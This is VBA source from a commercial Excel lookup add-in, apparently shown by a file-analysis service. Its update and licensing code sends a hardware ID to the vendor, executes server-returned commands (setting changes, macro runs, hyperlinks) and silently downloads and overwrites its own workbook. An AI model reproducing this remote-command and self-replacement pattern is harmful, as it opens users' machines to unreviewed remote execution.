        MainMacroButton.Tag = TWN & "ApplySettingSet" & "\\\" & "macro=" & MainMacroName$ & "&"
        MainMacroButton.State = IIf(SettingSetName$ = "", msoButtonDown, msoButtonUp)
    End If
    Set coll = Nothing
End Sub

Sub AddUpdateButton(ByRef AddinMenu As Object)
    On Error Resume Next
    If UpdateAvailable Then
        Dim UpdateButton As Object, UpdateButtonCaption$, UpdateType&, ShowUpdateButton As Boolean
        UpdateType& = SETT.GetNumber("NewVersionType", 0, "Updates")
        If UpdateType& > 0 Then
            ShowUpdateButton = UpdateType& > 1        '  ShowUpdateButton = InStr(1, "23", UpdateType&) > 0
            If ShowUpdateButton Then Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0

            If SETT.GetBoolean("AutoInstall", False, "Updates") Or (UpdateType& = 4) Then
                UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateInProgress")
                If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Installing update in process …"
                If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1977, "", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
                UpdateButton.State = msoButtonDown
                InstallUpdate
            Else
                UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateReady")
                If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Install update now"
                If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1623, "InstallUpdate", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
                RunWithDelay "DownloadUpdate", 2
            End If
        End If
    End If
End Sub
Sub DownloadUpdate()
    InstallUpdate True
End Sub

Sub InstallUpdate(Optional ByVal DownloadOnly As Boolean = False)
    On Error Resume Next
    Dim URL$, NewFilename$, FileSize&, OldFilename$, FilePath$

    If Not UpdateAvailable Then Exit Sub

    URL$ = SETT.GetText("NewVersionURL", , "Updates")
    SETT.SetText "InstallLastAttemptTime", Now, "Updates"
    NewFilename$ = FWF.temp_folder & FWF.Replace_symbols("Update_" & PROJECT_NAME$ & "_" & _
                                                         SETT.GetText("NewVersion", "X.X.X", "Updates") & "." & FWF.GetFileExtension(URL$))
    FileSize& = SETT.GetNumber("NewVersionSize", 0, "Updates")
    If FWF.FileExists(NewFilename$) And (FileSize& > 0) Then
        If FileLen(NewFilename$) <> FileSize& Then Kill NewFilename$
    End If
    Kill NewFilename$

    If Not FWF.FileExists(NewFilename$) Then
        SETT.SetText "InstallComment", "Start downloading file...  " & URL$ & "  to  " & NewFilename$, "Updates"
        If Not FWF.DownLoadFileFromURL(URL$, NewFilename$, True) Then
            SETT.SetText "InstallComment", "Can't download file", "Updates": Exit Sub
        End If
        SETT.SetText "InstallComment", "Download finished:  " & URL$ & "  to  " & NewFilename$, "Updates"
        If Not FWF.FileExists(NewFilename$) Then
            SETT.SetText "InstallComment", "Downloaded file not found", "Updates": Exit Sub
        End If
    End If

    If (FileSize& > 0) And (FileLen(NewFilename$) <> FileSize&) Then
        SETT.SetText "InstallComment", "Filesize does not match (original = " & FileSize& & ", downloaded = " & FileLen(NewFilename$) & ")", "Updates": Exit Sub
    End If
    If TrueDeveloper Then Application.StatusBar = Now & "  InstallUpdate started,  DownloadOnly = " & DownloadOnly: Exit Sub
    If DownloadOnly Then Exit Sub

    OldFilename$ = FWF.temp_folder & FWF.Replace_symbols("Backup_" & PROJECT_NAME$ & "_" & GetVersionTXT & _
                                                         "_" & Format(Now, "DD-MM-YYYY_HH-NN-SS") & "." & FWF.GetFileExtension(ThisWorkbook.FullName))
    SETT.SetText "LastBackup", OldFilename$, "Updates"

    Application.DisplayAlerts = False: If TrueDeveloper Then Exit Sub
    FilePath$ = ThisWorkbook.FullName: ThisWorkbook.ChangeFileAccess xlReadOnly
    SETT.SetText "InstallComment", "Deleting old version:  " & FilePath$, "Updates"
    SetAttr FilePath$, vbNormal
    FileCopy FilePath$, OldFilename$        ' old version backup
    Kill FilePath$: DoEvents
    If FWF.FileExists(FilePath$) Then
        SETT.SetText "InstallComment", "Can't delete old version", "Updates": Exit Sub
    End If
    SETT.SetText "InstallComment", "Old version was deleted successfully  " & FilePath$, "Updates"


    FileCopy NewFilename$, FilePath$: DoEvents
    If Not FWF.FileExists(FilePath$) Then
        SETT.SetText "InstallComment", "Can't copy new version", "Updates"
        Kill FilePath$: DoEvents
        FileCopy OldFilename$, FilePath$        ' old version restore
        Exit Sub
    End If

    SETT.SetText "InstallComment", "Update was successfully installed at " & Now, "Updates"
    Application.OnTime Now + TimeSerial(0, 0, 2), "'" & FilePath$ & "'" & "!ClearUpdatesInfo"
    Application.DisplayAlerts = True
    ThisWorkbook.Close False
End Sub

Sub ClearUpdatesInfo()
    With SETT
        .Delete "NewVersionType", "Updates": .Delete "NewVersionNumber", "Updates": .Delete "NewVersionURL", "Updates"
        .Delete "NewVersionType", "Updates": .Delete "NewVersionSize", "Updates": .Delete "NewVersion", "Updates"
    End With
End Sub

Function Request_(ParamArray args()) As Boolean
    On Error Resume Next: Dim xmlhttp As Object, POST() As Byte, PostData$, i&, Response$
    Set xmlhttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    xmlhttp.Open "POST", UPDATES_HYPERLINK$, True
    xmlhttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    If Not IsMissing(args) Then
        For i = LBound(args) To UBound(args)
            If args(i) Like "?*=?*" Then PostData = PostData & "&" & Split(args(i), "=")(0) & "=" & Split(args(i), "=", 2)(1)
        Next i
    End If
    PostData = PostData & "&HWID=" & HWID(PostData Like "*action=activation*")
    POST = StrConv(URL_Encode(SETT.PostData & PostData), vbFromUnicode)
    xmlhttp.Send (POST): DoEvents

    If MU_ Or xmlhttp.WaitForResponse(3) Then
        If Val(xmlhttp.Status) <> 200 Then Debug.Print xmlhttp.Status, xmlhttp.StatusText
        Response$ = xmlhttp.ResponseText
    End If
    Set xmlhttp = Nothing
    If Response$ Like "%*%" Then Request_ = True: EXECUTE_COMMANDS Split(Response$, "%")(1)
End Function

Function EXECUTE_COMMANDS(ByVal txt$, Optional ShowErrMsg As Boolean)
    On Error Resume Next
    Dim commands, i&, cmd$, arr, j&, settname$, settval$, section$, msgboxStyle As VbMsgBoxStyle, macroname$, msg$, ER&
    commands = Split(txt$, "ll")
    For i = LBound(commands) To UBound(commands)
        cmd$ = "": arr = "": cmd$ = cmdDisplay$(commands(i))
        'If TrueDeveloper Then Debug.Print cmd$
        arr = Split(cmd$, " ")
        For j = LBound(arr) To UBound(arr): arr(j) = Replace(arr(j), "%20", " "): Next j
        Select Case arr(0)
            Case "SET"
                If UBound(arr) >= 3 Then
                    section$ = arr(1): settname$ = arr(2): settval$ = Replace(Split(cmd$, " ", 4)(3), "%20", " ")
                    If settval$ = "now" Then settval$ = Now
                    If Len(settname$) Then SETT.SetText settname$, settval$, IIf(Len(section$), section$, "Settings")
                End If
            Case "SETH"
                Dim ind&, params$: params$ = Split(cmd$, " ", 2)(1)
                If params$ Like "*#=*" Then
                    ind& = Val(Split(params$, "=", 2)(0))
                    If ind > 0 Then SETT.WSP ind&, Split(params$, "=", 2)(1)
                End If
            Case "RUN"
                macroname$ = "'" & ThisWorkbook.Name & "'!" & arr(1)
                Select Case UBound(arr)
                    Case 1: Run macroname$
                    Case 2: Run macroname$, arr(2)
                    Case 3: Run macroname$, arr(2), arr(3)
                    Case 4: Run macroname$, arr(2), arr(3), arr(4)
                End Select
            Case "SH"
                FollowHyperlink arr(1)
            Case "MSG", "MSGE", "MSGI", "MSGW", "MSGC"
                msgboxStyle = vbInformation
                If arr(0) = "MSGE" Then msgboxStyle = vbExclamation
                If arr(0) = "MSGW" Or arr(0) = "MSGC" Then msgboxStyle = vbCritical
                msg$ = "": msg$ = Replace(Split(cmd$, " ", 2)(1), "/n", vbNewLine)
                If Len(msg) Then MsgBox msg, msgboxStyle
            Case "MSGA"
                MsgBox tt("MSG_activation_done"), vbInformation
                F_About.MultiPage1.Value = 0
            Case "MSGR": F_About.MultiPage1.Value = 0
            Case Else: ER& = ER& + 1        ' unsupported command
        End Select
        ER& = ER& - (UBound(arr) = -1)
    Next i
    If ShowErrMsg Then If UBound(commands) + 1 = ER& Then MsgBox "Unsupported code", vbCritical
End Function

Function ProgramYears() As String
    On Error Resume Next: Dim BuiltDate As Date, PROJECT_LASTYEAR&
    BuiltDate = CDate(Val(Replace(Split(ThisWorkbook.Names("BuiltDate").RefersTo, "%%")(1), ",", ".")))
    PROJECT_LASTYEAR& = Year(BuiltDate): If PROJECT_LASTYEAR < 2015 Then PROJECT_LASTYEAR = Year(FileDateTime(ThisWorkbook.FullName))
    ProgramYears = IIf(Year(Now) > PROJECT_YEAR, PROJECT_YEAR & " - " & Year(Now), PROJECT_YEAR)
End Function

Function SwitchTab(TabName As String) As Boolean
    ' © Tony Jollans, August 2008.    http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.php
    On Error Resume Next: Dim RibbonTab As Object
    Set RibbonTab = GetAccessible(CommandBars("Ribbon"), &H25&, TabName)
    If RibbonTab Is Nothing Then Exit Function
    If (RibbonTab.accState(&H0&) And 32769) = 0 Then RibbonTab.accDoDefaultAction &H0&: SwitchTab = True
End Function
Public Function GetAccessible(Element As Object, RoleWanted&, NameWanted$, Optional GetClient As Boolean) As Object
    Dim ChildrenArray(), Child As Object, ndxChild&, ReturnElement As Object, NameComparand$, accName$, accValue$
    On Error Resume Next: accValue = Element.accValue(&H0&)
    accName = Element.accName(&H0&)
    Select Case accValue
        Case "Ribbon", "Quick Access Toolbar", "Ribbon Tabs List", "Lower Ribbon", "Status Bar": NameComparand = accValue
        Case "", "Ribbon Tab", "Group": NameComparand = accName
        Case Else: NameComparand = accName
    End Select
    If Element.accRole(&H0&) = RoleWanted And NameComparand = NameWanted Then
        Set ReturnElement = Element
    Else        ' not found yet
        ChildrenArray = GetChildren(Element)
        If (Not ChildrenArray) <> True Then
            For ndxChild = LBound(ChildrenArray) To UBound(ChildrenArray)
                If TypeOf ChildrenArray(ndxChild) Is Object  Then
                    Set Child = ChildrenArray(ndxChild)
                    Set ReturnElement = GetAccessible(Child, RoleWanted, NameWanted)
                    If Not ReturnElement Is Nothing Then Exit For
                End If        ' Child is Object
            Next ndxChild
        End If        ' there are children
    End If        ' still looking
    If GetClient Then Set ReturnElement = ReturnElement.accNavigate(&H7&, &H0&)
    Set GetAccessible = ReturnElement
End Function
Private Function GetChildren(Element As Object) As Variant()
    Const FirstChild As Long = 0&: Dim NumChildren&, ChildrenArray()
    #If Win64 Then
        Dim NumReturned As LongPtr
    #Else
        Dim NumReturned As Long
    #End If
    NumChildren = Element.accChildCount
    If NumChildren > 0 Then ReDim ChildrenArray(NumChildren - 1): AccessibleChildren Element, FirstChild, NumChildren, ChildrenArray(0), NumReturned
    GetChildren = ChildrenArray
End Function

Function UsageExampleExists(Optional ShowForm As Boolean = False) As Boolean
    On Error Resume Next: Dim UF As Object: Set UF = UserForms.Add("F_UsageExample")
    If Not UF Is Nothing Then
        UsageExampleExists = True
        If ShowForm Then UF.Show Else Unload UF
    End If
End Function

Sub FormSetError(ByRef UF As Object, Optional ByVal Control_Name$, Optional ByVal Labels_Name$)
    On Error Resume Next: Dim PrevColor&, i&, Label_Name, t As Double, objParent As Object
    UF.Show: DoEvents
    'Application.EnableCancelKey = xlDisabled
    If Len(Control_Name$) Then
        Set objParent = UF.Controls(Control_Name$).Parent
        Do While Not objParent Is Nothing
            If TypeName(objParent) = "Page" Then
                If TypeName(objParent.Parent) = "MultiPage" Then
                    objParent.Parent.Value = objParent.Parent.Pages(objParent.Name).Index
                End If
            End If
            Err.Clear: i = i + 1: Set objParent = objParent.Parent
            If Err <> 0 Or i > 20 Then Exit Do
        Loop

        PrevColor& = UF.Controls(Control_Name$).BackColor
        UF.Controls(Control_Name$).BackColor = RGB(255, 0, 0)
    End If

    If Len(Labels_Name$) Then
        For Each Label_Name In Split(Labels_Name$, "|")
            With UF.Controls(Label_Name)
                .ForeColor = RGB(255, 0, 0)
                For i = 1 To IIf(UBound(Split(Labels_Name$, "|")) = 0, 6, 4)
                    .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
                Next
            End With
        Next
    End If

    If Len(Control_Name$) Then
        UF.Controls(Control_Name$).BackColor = PrevColor&
        UF.Controls(Control_Name$).SetFocus
    End If
    'Application.EnableCancelKey = xlInterrupt
    For i = 1 To 1000: DoEvents: Next
End Sub





Attribute VB_Name = "mod_Main"
'---------------------------------------------------------------------------------------
' Module        : mod_Main                    Version:
' Author        : Igor Vakhnenko                   Date: 16.10.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Compare Text: Option Private Module ': Option Explicit
Public Const PROJECT_NAME$ = "Lookup", PROJECT_YEAR& = 2013

Private Sub CreateCommandBar(): CreateProgramCommandBar 0: End Sub

Sub CreateProgramCommandBar(Optional ByVal RefreshOnly As Boolean = True)
    On Error Resume Next
    SaveDefaultSettings

    Dim AddinMenu As CommandBar, coll As Collection, i&, MainMacroButton As Object
    Application.ScreenUpdating = False
    If Not RefreshOnly Then Run DeleteOldCommandBar
    Set AddinMenu = GetCommandBar(PROJECT_NAME, True Or RefreshOnly)

    Set MainMacroButton = Add_Control(AddinMenu, ct_BUTTON, 501, "LookupData", tt("MENU_001"), msoButtonIconAndCaption, True)
    AddSettingsSwitcher AddinMenu, ct_DROPDOWN, , "LookupData", MainMacroButton

    Add3Buttons AddinMenu
    If Not RefreshOnly Then
        RunWithDelay "ActivateAddinsTab"
        AddUpdateButton AddinMenu
        RunWithDelay "ActivateAddinsTab"
    End If
    If Developer Then
        Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
        Add_Control AddinMenu, ct_BUTTON, , "ShowFirstRunForm", "Show FirstRun Form", msoButtonIconAndCaption, True
        Add_Control AddinMenu, ct_BUTTON, , "ToggleIsAddin", "Show/Hide TR Sheet", msoButtonIconAndCaption, True
    End If
    Application.ScreenUpdating = True
End Sub

Sub ToggleIsAddin()
    On Error Resume Next
    ThisWorkbook.IsAddin = Not ThisWorkbook.IsAddin
End Sub

Sub SaveDefaultSettings()
    On Error Resume Next
    With SETT
        .LoadAllSettings
        '---------------------------------------------------------------
        .AddDefaultValue "OptionButton_SF_ActiveWorkbook", True
        .AddDefaultValue "OptionButton_SF_ActiveSheet", True
        .AddDefaultValue "ComboBox_SF_SheetIndex", 1
        .AddDefaultValue "CheckBox_IgnoreCase", True
        .AddDefaultValue "CheckBox_IgnoredCharsEnabled", True
        .AddDefaultValue "TextBox_IgnoredChars", "{TAB}{SPACE}{160}{CR}{LF}", , True

        .AddDefaultValue "ComboBox_SF_Found_Color_Interior", vbGreen
        .AddDefaultValue "ComboBox_SF_Found_Color_Font", xlNone
        .AddDefaultValue "TextBox_SF_Found_ColumnsList", "A-F"
        .AddDefaultValue "ComboBox_SF_NotFound_Color_Interior", 13408767        'vbRed
        .AddDefaultValue "ComboBox_SF_NotFound_Color_Font", xlNone
        .AddDefaultValue "TextBox_SF_NotFound_ColumnsList", "A-B"

        .AddDefaultValue "ComboBox_SF_FirstRow", 2
        .AddDefaultValue "ComboBox_SF_LastRowColumn", "auto"

        '---------------------------------------------------------------
        .AddDefaultValue "OptionButton_DF_ActiveWorkbook", True
        .AddDefaultValue "OptionButton_DF_ActiveSheet", True
        .AddDefaultValue "ComboBox_DF_SheetIndex", 1

        .AddDefaultValue "ComboBox_DF_Found_Color_Interior", 15849925        ' blue
        .AddDefaultValue "ComboBox_DF_Found_Color_Font", xlNone
        .AddDefaultValue "TextBox_DF_Found_ColumnsList", "A-F"
        .AddDefaultValue "ComboBox_DF_NotFound_Color_Interior", 10092543        'yellow
        .AddDefaultValue "ComboBox_DF_NotFound_Color_Font", xlNone
        .AddDefaultValue "TextBox_DF_NotFound_ColumnsList", "A-B"

        .AddDefaultValue "ComboBox_DF_FirstRow", 2
        .AddDefaultValue "ComboBox_DF_LastRowColumn", "auto"

        '---------------------------------------------------------------
        .AddDefaultValue "TextBox_SF_CompareColumnsList", "2"
        .AddDefaultValue "TextBox_DF_CompareColumnsList", "3"
        .AddDefaultValue "TextBox_SF_CopyColumnsList", "8, 5-3, K-M, R, S"
        .AddDefaultValue "TextBox_DF_CopyColumnsList", "H-N, P, R"

        .AddDefaultValue "CheckBox_CopyNewRows", False
        '---------------------------------------------------------------
        .AddDefaultValue "TextBox_CopyRows_SF_ColumnsList", "0,3-5,0,0,2,1"
        .AddDefaultValue "CheckBox_CopyRows_SF_CheckColumnEnabled", False
        .AddDefaultValue "TextBox_CopyRows_SF_CheckColumnMask", "?*"
        .AddDefaultValue "ComboBox_CopyRows_DF_LastRowColumn", 1, True
        .AddDefaultValue "ComboBox_CopyRows_SF_CheckColumnNumber", 1, True

        .AddDefaultValue "ComboBox_CopyRows_DF_Color_Interior", 10092441        ' light green
        .AddDefaultValue "ComboBox_CopyRows_DF_Color_Font", xlNone
        .AddDefaultValue "TextBox_CopyRows_DF_ColouringColumnsList", "A-F"

        .AddDefaultValue "CheckBox_CopyRows_DF_Border", True
    End With
End Sub


Function GetFile_MainPicture() As String
    ' создаёт во временной папке файл, возвращает путь к созданному файлу
    On Error Resume Next: Dim F_TXT$, buf$, tmp_file$: Const BufLen& = 5000
    F_TXT$ = F_TXT$ & "FFD8FFE000104A46494600010101012C012C0000FFDB0043000504040504030505040506060506080E0908070708110C0D0A0E141115141311131316181F1B16171E1713131B251C1E2021232323151A26292622291F222322FFDB00430106060608070810090910221613162222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222FFC00011080029005003012200021101031101FFC4001A000003010101010000000000000000000004060700050801FFC40037100001040004040405020309000000000001020304110005122106132231074151711423246181153233428234354352627291A1B1FFC400190100020301000000000000000000000000040500020301FFC4002B11000103030301060700000000000000000100020304112112133141053371C1D1F03234516181B1E1FFDA000C03010002110311003F00BCE799D670C66B25197BCB212F389D0EBC50000AA1A6BCBF1819ACFB373A39F25F492F212A4B6F5D03762EFBF6AFCE04E278A6566F280806754877A5D25213D47F6F49B0702C760B6DB23E11C674C86CE94926BBEF75DC5EC3EFDB05B5A2C3096BDEEB9CA74566531B8115C0EBC80B8CDAD4B90FE93A8A16492350D8909AF657A61278DB"
    F_TXT$ = F_TXT$ & "8A38832ACE16DE5599262B20F509CF14EFCB411A2CEE2C9B24F6230D4EB01FCAE26A8EB7DB30DAD464D8BA42CD51AD81A23DD5E9789D788D1512788D6972046989424DA27F4947CB6F6412074F91FE9FCA9AC716B0106D9F557AF7B9B134836CF91547F0BF39CD7388D3D59D4A4BEF364005B5EB40EB58D89DEE80047A8C51B129F0752A4C5CD438CB4CAB5D9432BD68FE239BDFF98F73F7F4ED8AB5E34A624C409F795AD1B8BA06927EBFB283CD5C5B3934D71B2A4AD0C2D4929EE0849AAC4A8E7F9F87D412F5B009A5FC490A03EE2EBFEF152CE7FB8331EFFD99CEDDFF0069C451705467ADEFD212AEA27E23590AEFDC8D1FF3BF960D88037BA952E208B15D0CDB8973A622BA634E790F2592A429C73E58572C9B5EF611A85DFA038E6F09717F12CFE2C851F31CD23BF116E84A9319ED4A279880411BF4D120FB8ED7581B881B232F923937AA3D687C7CB590D11A5760740ED7B6D7EF8E6704C511B8EB2E4B7974288D07C52A33BA9765D458D3E86859DB703B6C30AEADEE6D4D81C612A74AFDE0351E9D7FA9C38A6326566F28182ECED321D1A41D3A3A8EC0E8360FBE04623252863E91C6B4C86D40293A8A6AFA81D1DD37B7AD9C17C52DA1ECE256B6644AD321D14C2820A3A8ED7B5DFBE048CC37A59210EB25121B58E6EE456AEAB03C81"
    F_TXT$ = F_TXT$ & "EDBDDE1D37808B7F25333F113320E5F709C9A830DB4971D1A6BA17B01A45EF5F851F4C4FFC458EB91C40E06B2F19969429250F2F945B05A6C148E91608B07D87ADE1FE4B08970B2F2A8EE4FF00A36C172F4247CB58AA02FCEBFABED89EF8931933B8817F40EE6A116290E0694D7CB6B6BF3EDEBFCBF90A2B7E01E3EAAFDA1DD37C7C8A7AF0943C2166E90C222BC0F437AB98916E3A4289005955D9F3B2463E4283C6E97A6D393D2F17EDE5AA4B41B717A53D4D0524D3754001554455D93BC1A472E06648F855C4DC2BE1D6A0A29B71C37636DFBFDAF157C4823D70B72473C1FBAB52C42481B9239E0DBA948F96B3C42CE4F9F1E22796A64C4F91ADC6D6A0AD2BD47A123CB4F7BED89DAE0A4E60B77F497892A27E212A001DFBD68F3C5B73A35906626EBE99CDFD3A4E222B61AF8F5ABE0A6EA2A2798958D0ADFBE9FBFB61853B748B2B4EDD200BA173E6008329298D6A763E9E5A93497A9A23428E814076BDB638078219758E35CBCB994A21053E01752F87147E63742B4D8040DCFF00A123D307E7CC24E5B29286F99CF63498E7FC621A2347ED355B26EBFF0031C9E038898BC750143277E05BC0739C7C38156EA0E9AB277ABFC1F524AAADF9A1F84A9FDF0F109E38A52A566F27509CB01F76843B4A93D4763D62EFC8E0069B25318812FA65"
    F_TXT$ = F_TXT$ & "36AB77F70235751EADC0F3F718B9E361B096DD139753026F75319684498F9725D53F21422B40AD9572D29210BD8EFDF7A3FEE1841F12A2AE6710A94A893B334A410170145251F2DAD8907AAEBD7BA7B1F2F46636049A2DD16BD97678379A1B7B594AFC1E0E081989721C8876ABE4C84F5D971C2544F9EABBF638AA636363B147B6D0D57862DA6060E881CE2CE459804F7F8772B6BFE5388A29A273073A334D5A89B493CA56FE435F6FC6DBF6C5E7CF1B1BB1FA54922DC232BCF39D4753D0E7212CBEEF398D0A689FE2D34404036749F2BDF7C05C0D0571B8CA0286593E302F8A7A539CCD8BA8240DCD5E907BED58F49E31ED81A5804B26E1286342D2FD57F617FFD9"
    For i = 1 To Len(F_TXT$) / 2
        buf$ = buf$ & Chr(Val("&H" & Mid(F_TXT$, 2 * i - 1, 2)))
        If Len(buf$) > BufLen& Then res$ = res$ & buf$: buf$ = "": DoEvents
    Next: res$ = res$ & buf$
    tmp_file$ = Environ("tmp") & "\file_MainPicture_" & PROJECT_NAME$: Kill tmp_file$
    ff& = FreeFile: Open tmp_file$ For Binary Access Write As #ff
    Put #ff, , res$
    Close #ff
    If FileLen(tmp_file$) = Len(F_TXT$) / 2 Then GetFile_MainPicture = tmp_file$
End Function





Attribute VB_Name = "mod_Functions"
'---------------------------------------------------------------------------------------
' Module        : mod_Functions                    Version:
' Author        : Igor Vakhnenko                   Date: 20.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Compare Text: Option Private Module

Function OpenWorkbooksList() As Variant
    On Error Resume Next
    Dim WB As Workbook, coll As New Collection, Item, i&
    For Each WB In Application.Workbooks
        If WB.Windows(1).Visible Then
            If WB.Path <> "" Then coll.Add WB.FullName
        End If
    Next
    ReDim arr(1 To coll.Count, 1 To 2)
    For Each Item In coll
        i = i + 1
        arr(i, 1) = Item
        arr(i, 2) = Dir(Item, vbNormal)
    Next
    OpenWorkbooksList = arr
End Function

Function ColoringEnable(ByVal FileType$) As Boolean
    On Error Resume Next        ' FileType$ = "SF" or "DF"
    ColoringEnable = SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Interior") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Interior") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Font") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Font")
End Function

Function SpecialCells_TypeConstants(ByRef ra As Range) As Range
    ' возвращает диапазон, содержащий все заполненные ячейки диапазона ra
    On Error Resume Next: en& = Err.Number
    If ra.Worksheet.ProtectContents Then        ' если лист защищён
        Dim cell As Range
        ' перебираем все ячейки в диапазоне
        For Each cell In Intersect(ra, ra.Worksheet.UsedRange).Cells
            If Trim(cell.Value) <> "" Then        ' если ячейка непустая
                ' то добавляем её в результат
                If SpecialCells_TypeConstants Is Nothing Then
                    Set SpecialCells_TypeConstants = cell
                Else
                    Set SpecialCells_TypeConstants = Union(SpecialCells_TypeConstants, cell)
                End If
            End If
        Next cell

    Else        ' если защита листа не установлена - используем штатные средства Excel
        Set SpecialCells_TypeConstants = ra.SpecialCells(xlCellTypeConstants)
    End If
    If en& = 0 Then Err.Clear
End Function

Function SpecialCells_VisibleRows(ByRef ra As Range) As Range
    On Error Resume Next: en& = Err.Number
    If ra.Worksheet.ProtectContents Then
        Dim ro As Range
        For Each ro In Intersect(ra, ra.Worksheet.UsedRange.EntireRow).Rows
            If ro.EntireRow.Hidden = False Then
                If SpecialCells_VisibleRows Is Nothing Then
                    Set SpecialCells_VisibleRows = ro
                Else
                    Set SpecialCells_VisibleRows = Union(SpecialCells_VisibleRows, ro)
                End If
            End If
        Next ro
    Else
        Set SpecialCells_VisibleRows = ra.SpecialCells(xlCellTypeVisible)
    End If
    If en& = 0 Then Err.Clear
End Function

Function ParseString(ByVal txt As String) As Variant
    ' получает в качестве параметра текстовую строку для проверки
    ' возвращает двумерный массив размером N * 4 (где N - длина текстовой строки)
    On Error Resume Next
    n = Len(txt): ReDim arr(1 To n, 1 To 4)
    For i = LBound(arr) To UBound(arr)
        arr(i, 1) = i
        l$ = Mid(txt, i, 1)
        arr(i, 2) = l$
        arr(i, 3) = Asc(l$)
        arr(i, 4) = AscW(l$)
    Next i
    ' arr(1, 1) = "#": arr(1, 2) = "Char": arr(1, 3) = "Asc": arr(1, 4) = "AscW"
    ParseString = arr
End Function

Sub ParseActiveCell()
…

Open this report in the interactive analyzer, or submit your own file for analysis.